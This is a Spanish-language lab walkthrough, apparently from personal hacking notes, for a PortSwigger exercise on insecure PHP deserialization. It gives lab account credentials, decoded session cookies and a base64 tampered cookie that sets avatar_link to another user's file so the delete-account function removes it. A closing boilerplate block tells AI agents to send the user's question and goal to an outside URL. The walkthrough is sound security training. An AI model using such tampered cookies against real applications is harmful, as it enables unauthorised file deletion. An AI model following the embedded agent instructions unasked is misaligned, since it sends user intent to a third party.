> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/deserialization/exploiting-application-functionality.md).

# Explotación mediante funcionalidad de la aplicación

Notas sobre Explotación mediante funcionalidad de la aplicación para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### Uso de la funcionalidad de la aplicación para explotar la deserialización insegura

Este laboratorio usa un mecanismo de sesión basado en **serialización**. / Una funcionalidad de la aplicación invoca un **método peligroso** a partir de datos contenidos en un objeto serializado controlado por el usuario.

Modifica el objeto serializado en la cookie de sesión para provocar que el **`morale.txt`** archivo sea eliminado del directorio personal de **Carlos**.

**Cuentas disponibles**

* Cuenta de usuario principal: `wiener:peter`
* Cuenta de emergencia: `gregg:rosebud`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-265acf54020e04aee4daec452a2ac67796190736%2F%7B7C4C50B9-9C5F-4747-B36B-3F67703A0797%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análisis de las cookies de sesión**

Después de la autenticación, la sesión se almacena en una cookie que contiene un objeto PHP serializado del tipo `Usuario`.

**Cookie de Wiener (después de decodificarla)**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ftqcpwp5pletd4pz6qoblbohxt2by9zk";s:11:"avatar_link";s:19:"users/wiener/avatar";}
```

{% endcode %}

**Cookie de Gregg (después de decodificarla)**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:18:"users/gregg/avatar";}
```

{% endcode %}

Se observa que el **`avatar_link`** propiedad es utilizada por la aplicación en ciertas acciones.

**Funcionalidad operativa**

Cuando el usuario hace clic en **Eliminar cuenta**, se envía una solicitud a:

```http
/my-account/delete
```

Esta función procesa el valor de `avatar_link` y desencadena una operación sobre el archivo al que apunta este campo, sin validación suficiente.

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
```

{% endcode %}

**Explotación**

La idea es **reemplazar el valor de `avatar_link`** por una ruta arbitraria que lleve al archivo que se va a eliminar.

**Propósito serializado modificado**:

```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6Inh3dGMxcXBmeTJoNjJlOHhlb2tvbnd1ZzZ6cGY2ZnhxIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
```

Después de enviar la solicitud a `/my-account/delete`, el servidor responde:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ba7c4cee9bef8cdd74ea7b0d4996d4c129b90c2%2F%7B8121B6DC-62C2-4E97-8461-768B8E63AF9A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/deserialization/exploiting-application-functionality.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
